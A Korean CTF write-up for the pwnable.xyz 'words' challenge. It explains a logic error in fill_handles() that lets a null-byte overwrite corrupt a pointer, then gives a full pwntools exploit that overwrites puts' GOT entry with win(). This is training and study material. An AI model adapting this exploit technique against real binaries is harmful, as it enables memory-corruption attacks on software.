checksec

 

 

 

Analytic

아래 사진은 사용자 정의 함수 목록이다.

사용자 정의 함수

 

 

fill_letters(), fill_numbers(), fill_handles(), fill_words() 함수들은 특별한 기능은 없고 사용자 선택에 따라 문장을 만들어 출력하는 함수 이다. 

하지만 fill_handles() 함수를 제외한 나머지 함수들은 만들어진 문장으로 초기화 하여 생성하지만, fill_handles() 함수는 로직 에러로 초기화를 하지 않고 문장을 추가한다.

 

코드로 자세히 설명하자면, 사용자가 select1 값이 2가 아니고 select2 값이 6이상이면 문장을 초기화 하지 않는다.

이 로직 에러로 문장을 계속 추가 할 수 있게 된다.

fill_handles() 함수의 일부분

 

문장이 저장되는 메모리 공간은 아래와 같다.

문장이 저장되는 시작 부분은 변수 a인 0x610da0 으로, 로직 에러로 계속 문장을 추가 할 수 있게 된다.

다만 사용자가 입력한 문장이 아닌 코드에 적혀있는 문장이 들어간다.

변수 a의 메모리 구조

 

save_progress() 함수를 보면 a+256 값이 존재하는지 확인한다.

a+256 값이 없고, 사용자가 크기를 -1 입력하면 a+256 값에 reserve 변수의 주소가 저장이 된 후, 그 주소에 값을 입력 할 수 있게 된다.

save_progress() 함수

 

이때 메모리 구조는 다음과 같다.

아래 사진을 보면 a+256에 reserver 변수의 주소가 들어갔고, 그 주소에 값이 입력된 것을 볼 수 있다.

 

 

Vuln

취약점은 fill_handles() 함수에서 로직 에러로 인해 발생하게 된다.

 

만약 사용자가 save_progress() 함수를 실행하고 size 값을 -1 로 한다면 a+256에 reserver 변수의 주소가 들어간다.

이후 fill_handles() 를 계속 호출하여 변수 a부터 값을 추가하여 a+256의 값을 변조시킨다.

 

변조 시키는 방법은 fill_handles() 함수를 이용하여 최종 문자열 길이가 정확히 256 이면 되므로, 호출순서는 아래와 같다.

1. call fill_words()
    > 4
    > 1
    > 1
# 변수 a의 길이는 40

2. call fill_handles()
    > 3
    > 1
    > 6
# 2번만 했을 때 변수 a의 길이는 24


# 1번 한번 호출 후, 2번을 아홉 번 반복하면 변수 a의 최종 길이는 256

변수 a의 길이가 256이 되면 문자열 끝에 \x00을 붙이기 때문에 0x610ec0 이 0x610e00으로 변조된다.

다시 save_progress() 함수를 호출하면 if문 조건을 만족하기 때문에 0x610e00부터 0x1000 만큼 값을 쓸 수 있게 된다.

 

입력할 값은 puts() 함수의 GOT를 win() 함수로 overwrite 할 거기 때문에 0x610ea0에 puts() 함수의 GOT를 입력하면 된다.

 

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz" ,"30036")
e = ELF("./challenge")


# 5. Save progress.
p.sendlineafter("> ", "5")
p.sendlineafter("Size: ", "-1")
p.sendline("A")

# 4. Words
p.sendlineafter("> ", "4")
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "1")

# 3. Handles.
for i in range(0, 9):
    p.sendlineafter("> ", "3")
    p.sendlineafter("> ", "1")
    p.sendlineafter("> ", "6")

# 5. Save progress.
p.sendlineafter("> ", "5")
p.sendline("A"*160 + p64(e.got["puts"]))

# 5. Save progress.
p.sendlineafter("> ", "5")
p.sendline(p64(e.symbols["win"]))

# call win
p.sendlineafter("> ", "6")

p.interactive()

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] child write up  (0) 2020.08.09
[pwnable.xyz] car shop write up  (0) 2020.08.09
[pwnable.xyz] words write up  (0) 2020.08.08
[pwnable.xyz] notebook write up  (0) 2020.08.07
[pwnable.xyz] nin write up  (0) 2020.08.07
[pwnable.xyz] note v2 write up  (0) 2020.08.05